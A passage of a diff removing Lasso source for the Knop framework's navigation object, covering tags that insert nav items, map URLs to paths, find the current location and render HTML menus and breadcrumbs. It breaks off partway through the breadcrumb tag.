-		(self -> 'dotrace') = (local_defined: 'trace') && #trace != false;
-		// normalize slashes
-		(self -> 'root') -> removeleading('/') & removetrailing('/');
-		(self -> 'root') = '/' + (self -> 'root') + '/';
-		(self -> 'root') -> replace('//', '/');
-
-		if: (local_defined: 'fileroot');
-			(self -> 'fileroot') = #fileroot;
-			// normalize slashes
-			(self -> 'fileroot') -> removeleading('/') & removetrailing('/');
-			(self -> 'fileroot') = '/' + (self -> 'fileroot') + '/';
-			(self -> 'fileroot') -> replace('//', '/');
-		else;
-			(self -> 'fileroot') = (self -> 'root');
-		/if;
-		
-		// validate and set default value
-		(map: 'prefix', 'suffix', 'extension') !>> (self -> 'filenaming') ? (self -> 'filenaming') = 'prefix'; 
-		
-		// can not perform getlocation here since the nav structure must be defined first
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'onconvert', -description='Outputs the navigation object in a very basic form, just to see what it contains';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'output' = (self -> 'parentkey') + ': ';
-		iterate: (self -> 'navitems'), (local: 'navitem');
-			#output += #navitem + '\n';
-		/iterate;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-
-	define_tag: 'insert', -description='Adds a navigation item to nav structure\n\
-			Parameters:\n\ 
-			-key (required) The key will be part of the path\n\ 
-			-label (optional) The menu text\n\ 
-			-url (optional) Nav url to use instead of the default url that is derived from the keys path, used as shortcuts for cleaner URLs\n\ 
-			-title (optional) Link href title text\n\ 
-			-template (optional) Template to use only for this specific nav item, in the form #link##label##current##/link##children#\n\
-			-children (optional nav) Sub navitems\n\ 
-			-default (optional) Key of default child subnav item\n\ 
-			-param (optional) Name of param or params (string/array) that should be sent along with nav links\n\ 
-			-class (optional) CSS class name to use for this nav item (defaults to none)\n\ 
-			-filename (optional) Name stem for lib, action and content files (defaults to key path with _ instead of /), to be able to use the same processing files for multiple locations\n\ 
-			-disabled (optional flag) Makes the menu item dimmed and non-clickable\n\ 
-			-hide (optional flag) Makes the location valid without showing a menu item for it\n\ 
-			-after (optional) After which navitem to insert this navitem (key or numeric index)\n\ 
-			-data (optional) Arbitrary data object (variable, map, array, compound expression) that can be returned for the location by calling ->data',
-		-required='key',
-		-optional='label',
-		-optional='default',
-		-optional='url', -copy,
-		-optional='title',
-		-optional='template',
-		-optional='children', -type='nav',
-		-optional='param',
-		-optional='class',
-		-optional='filename',
-		-optional='disabled',
-		-optional='hide',
-		-optional='after',
-		-optional='data';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		
-		fail_if: !(local_defined: 'hide') && (local: 'label') == '', -1, 'Insert requires a label';
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': -key = ' + #key);
-		// fail_if: (self -> keymap) >> #key, -1, #key + ' is not unique';
-		if: (self -> keymap) >> #key;
-			(self -> 'debug_trace') -> (insert: tag_name + ': *** Error key ' + #key + ' is not unique - skipping');
-			return;
-		/if;
-		local: 'urlmapchildren'=map,
-			'pathmapchildren'=map;
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);
-		if: (local_defined: 'children');
-			(#children -> 'parentkey') = #key;
-			// grab urlmap and pathmap from children
-			#urlmapchildren = (#children -> urlmap);
-			#pathmapchildren = (#children -> pathmap);
-			if: !(local_defined: 'title');
-				// set default title to labels of children
-				/*
-				local: 'title' = array;
-				iterate: (#children -> 'navitems'), (local: 'item');
-					#title -> (insert: (#item -> (find: 'label')));
-				/iterate;
-				#title = #title ->  (join: ', ');
-				*/
-			/if;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': adding children');
-			(self -> 'debug_trace') -> (merge: (#children -> 'debug_trace'));
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': done adding children');
-		/if;
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);
-		local: 'navitem'=map;
-		local_defined('key') && #key != '' ? #navitem -> insert('key' = #key); 
-		local_defined('label') && #label != '' ? #navitem -> insert('label' = #label); 
-		local_defined('default') && #default != '' ? #navitem -> insert('default' = #default); 
-		local_defined('url') && #url != '' ? #navitem -> insert('url' = #url); 
-		local_defined('title') && #title != '' ? #navitem -> insert('title' = #title); 
-		local_defined('template') && #template != '' ? #navitem -> insert('template' = #template); 
-		local_defined('children') && #children != '' ? #navitem -> insert('children' = #children); 
-		local_defined('class') && #class != '' ? #navitem -> insert('class' = #class); 
-		local_defined('filename') && #filename != '' ? #navitem -> insert('filename' = #filename);
-
-		if(local_defined('default') && #default != '' && #pathmapchildren >> #default);
-			// only add default that exists in children
-			#navitem -> insert('default' = #default);
-		/if;
-		// store these params by reference
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);
-		local_defined('data') && #data != '' ? #navitem -> insert('data' = @#data);
-
-		if: (local_defined: 'param') && #param -> type =='array';
-			#navitem -> (insert: 'params'=#param);
-		else: (local_defined: 'param') && #param != '';
-			#navitem -> (insert: 'params'=(array: #param));
-		/if;
-		#navitem -> (insert: 'disabled'=(local_defined: 'disabled') && #disabled != false);
-		#navitem -> (insert: 'hide'=(local_defined: 'hide') && #hide != false);
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);
-		local: 'index'=(self -> 'navitems') -> size + 1;
-		if: (local_defined: 'after') && (string: #after) -> size;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': -after=' + #after);
-			if: #after -> type == 'integer';
-				#index = #after;
-			else: (self -> keymap) >> #after;
-				#index = (self -> keymap) -> (find: #after) + 1;
-			/if;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': index=' + #index);
-		/if;
-		if: #urlmapchildren -> size;
-			// we have urlmap from children - insert it into our urlmap with modified keyvalues
-			iterate: #urlmapchildren, (local: 'urlitem');
-				fail_if: (self -> urlmap) >> #urlitem -> name, -1, 'url ' + (#urlitem -> name) + ' is not unique';
-				(self -> 'urlmap') -> (insert: #urlitem -> name = #key + '/' + (#urlitem -> value));
-			/iterate;
-		/if;
-		if: #pathmapchildren -> size;
-			// we have pathmap from children - insert it into our pathmap with modified keys
-			iterate: #pathmapchildren, (local: 'pathitem');
-				(self -> 'pathmap') -> (insert: #key + '/' + #pathitem -> name);
-			/iterate;
-		/if;
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);
-		if: (local_defined: 'url') && #url != '';
-			#url -> (removeleading: '/') & (removetrailing: '/');
-			fail_if: (self -> urlmap) >> #url, -1, 'url ' + #url + ' is not unique';
-			(self -> 'urlmap') -> (insert: #url = #key);
-		/if;
-		(self -> 'pathmap') -> (insert: #key);
-		(self -> 'navitems') -> (insert: #navitem, #index);
-		// update keymap
-		(self -> 'keymap') = map;
-		iterate: (self -> 'navitems'), (local: 'item');
-			(self -> 'keymap') -> (insert: (#item -> (find: 'key'))  = loop_count);
-		/iterate;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"	
-	/define_tag;
-	
-	
-	/*
-	define_tag: 'remove',	-description='Remove nav object and its children for specified key path. Must update index maps afterwards. ',
-		-required='path', -type='string', -copy;
-		fail: -1, 'Not implemented'; // This tag is not yet functional
-		
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		#path -> removeleading('/') & removetrailing('/');
-		local: 'path_remove'=#path -> split('/') -> last;
-		#path -> removetrailing(#path_remove) & removetrailing('/');
-		// we need to find a reference to the navitems array of maps that contains the nav item to remove
-		if: #path -> size;
-			local: 'navitem'=@(self -> getnav(#path));
-		else;
-			local: 'navitem'=@self -> getnav;
-		/if;
-		// we also need to find a reference to the keymap where we can find the index of the array item to remove
-		return: #navitem;
-		(#navitem -> getnav) -> remove(#navitem -> keymap -> find(#path_remove));
-		
-		// invalidate index maps
-		(#navitem -> 'keymap') = null;
-		(#navitem -> 'pathmap') = null;
-		(#navitem -> 'urlmap') = null;
-
-		(self -> 'keymap') = null;
-		(self -> 'pathmap') = null;
-		(self -> 'urlmap') = null;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	*/
-	
-	define_tag: 'addchildren',	-description='Add nav object as children to specified key path, replacing the current children if any. \
-		Must update index maps afterwards. ',
-		-required='path',
-		-required='children', -type='nav';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'navitem'=@(self -> (getnav: #path));
-		#navitem -> (insert: 'children' = #children);
-
-		// invalidate index maps
-		(#navitem -> 'keymap') = null;
-		(#navitem -> 'pathmap') = null;
-		(#navitem -> 'urlmap') = null;
-
-		(self -> 'keymap') = null;
-		(self -> 'pathmap') = null;
-		(self -> 'urlmap') = null;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'children', -description='Return reference to the children of the current navigation object map, or for the specified path',
-		-optional='path', -copy;  
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		!(local_defined: 'path') ? local: 'path'=(self -> 'patharray');
-		if: #path -> type != 'array';
-			#path = string: #path;
-			#path -> (removeleading: '/') & (removetrailing: '/');
-			#path = #path -> (split: '/');
-		/if;
-		(self -> pathmap) !>> (#path -> (join: '/')) ? return: knop_nav;
-
-		local: 'nav'=@(self -> (getnav: #path));
-		if: #nav !>> 'children';
-			#nav -> (insert: 'children'=knop_nav);
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @(#nav -> (find: 'children'));
-	/define_tag;
-	
-	define_tag: 'reindex', -description='To recreate keymap, pathmap and urlmap';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		(self -> 'keymap') = map;
-		(self -> 'pathmap') = map;
-		(self -> 'urlmap') = map;
-		local: 'key'=null, 'pathitem'=null, 'urlitem'=null, 'url'=string;
-		iterate: (self -> 'navitems'), (local: 'navitem');
-			#key = #navitem -> (find: 'key');
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': key=' + #key);
-			(self -> 'keymap') -> (insert: #key = loop_count);
-			(self -> 'pathmap') -> (insert: #key);
-			if: #navitem -> (find: 'url') != '';
-				#url=#navitem -> (find: 'url');
-				#url -> (removeleading: '/') & (removetrailing: '/');
-				fail_if: (self -> urlmap) >> #url, -1, 'url ' + #url + ' is not unique';
-				(self -> 'urlmap') -> (insert: #url = #key);
-			/if;
-			if: #navitem >> 'children';
-				#navitem -> (find: 'children') -> reindex; // recursive
-				iterate: (#navitem -> (find: 'children') -> pathmap), #pathitem;
-					(self -> 'pathmap') -> (insert: #key + '/' + #pathitem -> name);
-				/iterate;
-				iterate: (#navitem -> (find: 'children') -> urlmap), #urlitem;
-					fail_if: (self -> urlmap) >> #urlitem -> name, -1, 'url ' + (#urlitem -> name) + ' is not unique';
-					(self -> 'urlmap') -> (insert: #urlitem -> name = #key + '/' + (#urlitem -> value));
-				/iterate;
-			/if;
-		/iterate;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'keymap';
-		(self -> 'keymap') -> type != 'map' ? self -> reindex;
-		return: (self -> 'keymap');
-	/define_tag;
-	define_tag: 'pathmap';
-		(self -> 'pathmap') -> type != 'map' ? self -> reindex;
-		return: (self -> 'pathmap');
-	/define_tag;
-	define_tag: 'urlmap';
-		(self -> 'urlmap') -> type != 'map' ? self -> reindex;
-		return: (self -> 'urlmap');
-	/define_tag;
-	
-	define_tag: 'getlocation', -description='Grabs path and actionpath from params or urlhandler, translates from url to path if needed. This must be called before using the nav object. \n\
-			Parameters:\n\
-			-setpath (optional) forces a new path',
-		-optional='setpath';
-		handle;knop_debug('Done with ' + self->type + ' -> ' + tag_name, -time, -type=self->type);/handle;
-		local: 'path'=string, 
-			'patharray'=array, 
-			'originalpath'=string, 
-			'pathargs'=string,
-			'actionpath'=string,
-			'validurl'=false;
-			// TODO: Produce 404 error for invalid urls
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-			
-		(self -> 'path') = string;
-		(self -> 'patharray') = array;
-		(self -> 'pathargs') = string;
-		(self -> 'actionpath') = string;
-		// get action path
-		local: 'clientparams'=client_getparams;
-		#clientparams -> (merge: client_postparams);
-		#actionpath = (#clientparams >> '-action' ? (#clientparams -> (find: '-action') -> first -> value) | string);
-		#actionpath -> (removeleading: '/') & (removetrailing: '/');
-		// validate action path
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': testing action path ' + #actionpath);
-		if: #actionpath -> size && (self -> pathmap) >> #actionpath;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found match for action path ' + #actionpath);
-			(self -> 'actionpath') = #actionpath;
-		/if;
-
-		// get url or path
-		if: (local: 'setpath') != '';
-			#originalpath = string: #setpath;
-		else: (self -> 'navmethod') != 'param'; 
-			(self -> 'navmethod') = 'path';
-			#originalpath = response_filepath;
-			#originalpath -> (removeleading: (self -> 'root'));
-		else: (self -> 'navmethod') != 'path';
-			(self -> 'navmethod') = 'param';
-			if: #clientparams >> '-path';
-				// path is sent as -path GET or POST parameter
-				#originalpath = (#clientparams >> '-path' ? (#clientparams -> (find: '-path') -> first -> value) | string);
-			else: client_getparams -> size && client_getparams -> first -> isa('string');
-				// path is sent as first unnamed GET parameter 
-				#originalpath = client_getparams -> first;
-			/if;
-		/if;
-		#originalpath -> (removeleading: '/') & (removetrailing: '/');
-		#path = #originalpath;
-		#patharray = (string: #originalpath) -> (split: '/');
-		// look for longest match in urlmap
-		local: 'pathfinder'=#patharray;
-		loop: #pathfinder -> size;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': looking at url ' + #pathfinder -> (join: '/'));
-			if: (self -> urlmap) >> #pathfinder -> (join: '/');
-				// use translated key path
-				#path=(self -> urlmap) -> (find: #pathfinder -> (join: '/'));
-				#validurl=true;
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found url match for ' (#pathfinder -> (join: '/')) + ' translating to ' + #path);
-				loop_abort;
-			else;
-				// remove last path part and try again
-				#pathfinder -> remove;
-			/if;
-		/loop;
-		if: !#validurl;
-			// no url found, dig into the nav structure to see if path is valid
-			local: 'pathfinder'=#patharray;
-			loop: #pathfinder -> size;
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': looking at path ' + #pathfinder -> (join: '/'));
-				if: (self -> pathmap) >> #pathfinder -> (join: '/');
-					// use key path
-					#path=#pathfinder -> (join: '/');
-					#validurl=true;
-					#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found path match for ' (#pathfinder -> (join: '/')));
-					loop_abort;
-				else;
-					// remove last path part and try again
-					#pathfinder -> remove;
-				/if;
-			/loop;
-		/if;
-		// look for disabled path
-		if: #validurl;
-			#path = (string: #path) -> (split: '/');
-			while: #path -> size > 1 && (self -> (getnav: #path)) -> (find: 'disabled');
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': path '+ #path + ' is disabled');
-				#path -> remove;
-			/while;
-			if: (self -> (getnav: #path)) -> (find: 'disabled');
-				#validurl = false;
-			/if;
-			#path = #path -> (join: '/');
-		/if;
-		
-		if: !#validurl;
-			// we haven't found a valid location, we must resort to a default page
-			if: self -> 'default' != '' && self -> pathmap >>  self -> 'default';
-				#path = self -> 'default';
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': use defalt location ' #path);
-			else;
-				// use first page as default, if it exists
-				iterate(self -> 'navitems', local('navitem'));
-					if(#navitem >> 'key' 
-						&& !(#navitem -> find('disabled')) 
-						&& !(#navitem -> find('hide')));
-						#path = #navitem -> find('key');
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': use first page as default location ' #path);
-						loop_abort;
-					/if;
-				/iterate;
-			/if;
-			if: (self -> pathmap) >> #path;
-				#validurl = true;
-				(self -> 'debug_trace') -> (insert: tag_name + ': no navigation seems to be defined ' #path);
-			/if;
-		/if;
-		
-		if: #validurl;
-			// recursively look for default sub page
-			local: 'hasdefault'=true;
-			while: #hasdefault;
-				local: 'defaultkey' = (self -> (getnav: #path)) -> (find: 'default');
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': looking for default key ' + #defaultkey);
-				if: !(((self -> (getnav: #path))) -> (find: 'disabled')) 
-					&& !(((self -> (getnav: #path + '/' + #defaultkey))) -> (find: 'disabled'))
-					&& #defaultkey != '' && (self -> (getnav: #path)) -> (find: 'children') -> keymap >> #defaultkey;
-					#path += '/' + #defaultkey;
-					#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': new path is ' + #path);
-				else;
-					#hasdefault=false;
-				/if;
-			/while;
-			
-			// look for path arguments = the leftover when we found a matching path
-			#pathargs = #originalpath;
-			#pathargs -> (removeleading: #pathfinder -> (join: '/')) & (removeleading: '/');
-			
-			// store values
-			(self -> 'path') = #path;
-			(self -> 'patharray') = (string: #path) -> (split: '/');
-			(self -> 'debug_trace') -> (insert: tag_name + ': path is ' + #path);
-			if: #pathargs != '';
-				(self -> 'pathargs') = #pathargs;
-				(self -> 'debug_trace') -> (insert: tag_name + ': pathargs is ' + #pathargs);
-			/if;
-		else;
-			(self -> 'debug_trace') -> (insert: tag_name + ': no matching path found');
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'setlocation', -description='Sets the current location to a specific nav path or url',
-		-required='path';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		self -> (getlocation: -setpath=#path);
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	
-	define_tag: 'setformat', -description='Sets html template for the nav object, use #items# #item# #/items# or more elaborate #items# #link##label##current##/link##children# #/items# as placeholders.\n\
-			Parameters:\n\
-			-template (optional string) Html template, defaults to <ul>#items#<li>#item#</li>#/items#</ul>\n\
-			-class (optional string) Css class name that will be used for every navigation link\n\
-			-currentclass (optional string) Css class name that will be added to the currently active navigation link (defaults to crnt)\n\
-			-currentmarker (optional string) String that will be appended to menu text of currently active navigation link',
-		-optional='template', -type='string',
-		-optional='class', -type='string',
-		-optional='currentclass', -type='string',
-		-optional='currentmarker', -type='string';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		
-		(local_defined: 'template') ? (self -> 'template') = #template;
-		(local_defined: 'class') ? (self -> 'class') = #class;
-		(local_defined: 'currentclass') ? (self -> 'currentclass') = #currentclass;
-		(local_defined: 'currentmarker') ? (self -> 'currentmarker') = #currentmarker;
-		
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'haschildren',	-description='Returns true if nav object has children that are not all -hide.',
-		-required='navitem', -type='map';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'haschildren'=#navitem >> 'children';
-		if: #haschildren;	// verify that there is at least one child that does not have -hide
-			#haschildren=false; // assume there is no child to show
-			iterate: #navitem -> (find: 'children') -> 'navitems', (local: 'childitem');
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': checking ' + (#childitem -> (find: 'key')) + ', hide=' + (#childitem -> (find: 'hide')));
-				if: !(#childitem -> (find: 'hide')); // found one
-					#haschildren=true;
-					loop_abort;
-				/if;
-			/iterate;
-		/if;
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': ' + #haschildren);
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #haschildren;
-	/define_tag;
-
-	define_tag: 'renderhtml', -description='Called recursively to render hierarchial nav structure.\n\
-			Parameters:\n\
-			-renderpath (optional) Only render the children of the specified path (and below)\n\
-			-flat (optional flag) Only render one level\n\
-			-expand (optional flag) Render the entire expanded nav tree and not just the currently active branch\n\
-			-basepath (optional) Internal, needed for recursive calls to get proper paths\n\
-			-ancestor (optional nav) Internal, reference to the topmost object, needed for recursive calls\n\
-			-xhtml (optional) XHTML valid output',
-		-optional='renderpath', -copy,
-		-optional='flat',
-		-optional='expand',
-		-optional='basepath', -copy,
-		-optional='ancestor', -type='nav';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		if: !(local_defined: 'ancestor');
-			handle;knop_debug('Done with ' + self->type + ' -> ' + tag_name, -time, -type=self->type);/handle;
-			// reset timer when called at top level
-			// (self -> 'timer')=0; // undefined instance variable
-		/if;
-		
-		// create reference to the topmost level nav object
-		local: 'topself'=(local_defined: 'ancestor') ? @#ancestor | @self ;
-		!(local_defined: 'ancestor') ? (#topself -> 'renderhtml_levels') = 1 | (#topself -> 'renderhtml_levels') += 1;
-		
-		local: '_flat' = (local_defined: 'flat') && #flat != false;
-		local: '_expand' = (local_defined: 'expand') && #expand != false;
-		
-		local: 'template'=(self -> 'template' != '' ? self -> 'template' | #topself -> 'template');
-		local: 'clientparams'=client_getparams;
-		#clientparams -> (merge: client_postparams);
-		
-		!(local_defined: 'basepath') ? local: 'basepath'=string;
-		if: #template == '';
-			#template = '<ul>#items#<li>#item#</li>#/items#</ul>';
-		/if;
-		local: 'output'=string,
-			'itemoutput'=string,
-			'itemchildren'=string,
-			'itemrow'=string,
-			'link'=string,
-			'linkparams'=array,
-			'thispath'=string,
-			'classarray'=array,
-			'currentmarker'=string,
-			'itemtemplate'=(string_findregexp: #template, -find='(?si)#items#(.*?)#/items#'),
-			'itemlinkstart'=string,
-			'itemlinkend'=string,
-			'itemlabel'=string;
-		#itemtemplate = (#itemtemplate -> size >= 2 ? #itemtemplate -> (get: 2) | string);
-		
-		if: (local_defined: 'renderpath') && #renderpath != '' && #renderpath != '/';
-			// render nav for specified path
-			#renderpath -> (removeleading: '/') & (removetrailing: '/');
-			if: #topself -> (getnav: #renderpath) -> (find: 'children') -> type == 'nav';
-				return: @(#topself -> (getnav: #renderpath) -> (find: 'children') -> (renderhtml: -basepath=#renderpath, 
-					-ancestor=#topself, -flat=#_flat, -expand=#_expand));
-			else;
-				return: string;
-			/if;
-		/if;
-		iterate: (self -> 'navitems'), (local: 'navitem');
-			if: #navitem -> (find: 'hide');
-				// do not show in navigation
-			else;
-				#itemlinkstart=string;
-				#itemlabel=string;
-				#itemlinkend=string;
-				#itemchildren = string;
-				#currentmarker=string;
-
-				#thispath=#basepath + '/' + (#navitem -> (find: 'key'));
-				#thispath -> (removeleading: '/');
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': thispath is ' + #thispath + ', currentpath is ' + (#topself -> 'path'));
-				if: (#navitem -> (find: 'template')) != '';
-					#itemrow = (#navitem -> (find: 'template'));
-				else;
-					#itemrow = #itemtemplate;
-				/if;
-				#classarray = array;
-				(#topself -> 'class') != '' ? #classarray -> (insert: (#topself -> 'class'));
-				(#navitem -> (find: 'class')) != '' ? #classarray -> (insert: (#navitem -> (find: 'class')));
-				if: #navitem -> (find: 'disabled');
-					#itemlinkstart='<span';
-					if: #classarray -> size;
-						#itemlinkstart += ' class="' + #classarray -> (join: ' ') + '"';
-					/if;
-					#itemlinkstart += '>';
-					#itemlabel=(#navitem -> (find: 'label'));
-					#itemlinkend='</span>';
-				else;
-					/* this code is moved into ->url
-					if: (#navitem -> (find: 'params')) -> type == 'array';
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': checking params for ' + #thispath + ' with ' + (#navitem -> (find: 'params')));
-						// TODO: Move this to a new member tag ->linkparams: path|navitem
-						#linkparams=array;
-						iterate: #navitem -> (find: 'params'), (local: 'param');
-							if: #clientparams >> #param && #clientparams -> (find: #param) -> first -> type == 'pair';
-								#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got pair param');
-								#linkparams -> (insert: #clientparams -> (find: #param) -> first -> name = #clientparams -> (find: #param) -> first -> value);
-							else: #clientparams >> #param;
-								#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got plain param');
-								#linkparams -> (insert: #clientparams -> (find: #param) -> first);
-							/if;
-						/iterate;
-						#link = (self -> (url: -path=#thispath, -params=self -> (linkparams: -navitem=#navitem), -topself=#topself));
-					else;*/
-						//#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': no params for ' + #thispath);
-						#link = (self -> (url: -path=#thispath, -topself=#topself));
-					///if;
-					
-										
-					#itemlinkstart = '<a href="' + #link + '"';
-					if: (#navitem -> (find: 'title')) != '';
-						#itemlinkstart += ' title="' + (encode_html: (#navitem -> (find: 'title'))) + '"';
-					/if;
-					if: (((#topself -> 'path') + '/') -> (beginswith: #thispath + '/'));
-						#classarray -> (insert: ((#topself -> 'currentclass') != '' ? (#topself -> 'currentclass') | 'crnt') );
-					/if;
-					if: #classarray -> size;
-						#itemlinkstart += ' class="' + #classarray -> (join: ' ') + '"';
-					/if;
-					#itemlinkstart += '>';
-					#itemlabel=(#navitem -> (find: 'label'));
-					if: #thispath == (#topself -> 'path');
-						if: (self -> 'currentmarker') -> type != 'null';
-							#currentmarker = (self -> 'currentmarker');
-						else: (#topself -> 'currentmarker') -> type != 'null';
-							#currentmarker = (#topself -> 'currentmarker');
-						/if;
-					/if;
-					#itemlinkend = '</a>';
-					if: ( (((#topself -> 'path') + '/') -> (beginswith: #thispath + '/')) || #_expand)
-						&& self -> (haschildren: #navitem)
-						&& !#_flat;
-						// recursively render child items
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': begin rendering children for ' + #basepath + '/' + (#navitem -> (find: 'key')) );
-						// clear debug_trace for child
-						(#navitem -> (find: 'children') -> 'debug_trace') = array;
-						#itemchildren += (#navitem -> (find: 'children') -> (renderhtml: -basepath=#basepath + '/' + (#navitem -> (find: 'key')), 
-							-ancestor=#topself,
-							-flat=#_flat,
-							-expand=#_expand));
-						#dotrace ? (self -> 'debug_trace') -> (merge: (#navitem -> (find: 'children') -> 'debug_trace'));
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': done rendering children');
-					/if;
-				/if;
-				if: #itemrow >> '#link#';
-					#itemrow -> (replace: '#link#', #itemlinkstart) 
-						& (replace: '#title#', #itemlabel)	// deprecated, use #label# instead
-						& (replace: '#label#', #itemlabel)	// preferred
-						& (replace: '#/link#', #itemlinkend)
-						& (replace: '#children#', #itemchildren);
-				else;
-					if: #itemrow !>> '#current#';
-						#itemlabel += '#current#';
-					/if;
-					#itemrow -> (replace: '#item#', #itemlinkstart + #itemlabel + #itemlinkend 
-						+ #itemchildren);
-				/if;
-				#itemrow -> (replace: '#current#', #currentmarker);
-				#itemoutput += #itemrow;
-			/if;
-		/iterate;
-		#output = (string_replaceregexp: #template, -find='(?si)#items#(.*?)#/items#', -replace=#itemoutput);
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': render done in ' (self -> 'tagtime') + ' ms');
-		return: @#output;
-
-	/define_tag;
-
-	define_tag: 'renderbreadcrumb', -description='Shows the current navigation as breadcrumb trail. \n\
-			Parameters:\n\
-			-delimiter (optional) Specifies the delimiter to use between nav levels, defaults to " > " if not specified\n\
-			-home (optional flag) Show the default navigation item (i.e. "home") first in the breadcrumb (unless already there).',
-		-optional='delimiter',
-		-optional='home',
-		-optional='skipcurrent',
-		-optional='plain';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'output'=array, 'path'=array;
-		!(local_defined: 'delimiter') ? local: 'delimiter'=' &gt; ';
-		if: (local_defined: 'home') && #home != false;
-			// show the default navigation item first in breadcrumb
-			
-			// find default path
-			if: self -> 'default' != '' && self -> pathmap >>  self -> 'default';
-				local: 'homepath'= (self -> 'default');
-			else;
-				// use first top level nav item as default
-				local: 'homepath'= self -> 'navitems' -> first -> (find: 'key');
-			/if;
-			
-			if: !((self -> 'path') -> (beginswith: #homepath));
-				if: (local_defined: 'plain') && #plain != false;
-					#output -> (insert: (self -> (getnav: #homepath)) -> (find: 'label'));
-				else;
-					#output -> (insert: '<a href="' + (self -> (url: -path=#homepath)) + '">' + (self -> (getnav: #homepath)) -> (find: 'label') + '</a>');				
-				/if;
-			/if;
-		/if;
-		iterate: (self -> 'patharray'), (local: 'pathitem');
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': pathitem ' #pathitem);
-			#path -> (insert: #pathitem);
-			if: (self -> (getnav: #path)) -> (find: 'hide');
-				// do not show in navigation
-				loop_abort;
-			else;
-				if: (local_defined: 'plain') && #plain != false;
-					#output -> (insert: (self -> (getnav: #path)) -> (find: 'label'));
-				else;
-					#output -> (insert: '<a href="' + (self -> (url: -path=#path)) + '">' + (self -> (getnav: #path)) -> (find: 'label') + '</a>');
-				/if;
-			/if;
-		/iterate;
-		if: (local_defined: 'skipcurrent') && #skipcurrent != false;
-			#output -> removelast;
-		/if;
-		#output = #output -> (join: #delimiter);
-		self -> 'tagtime_tagname'=tag_name;
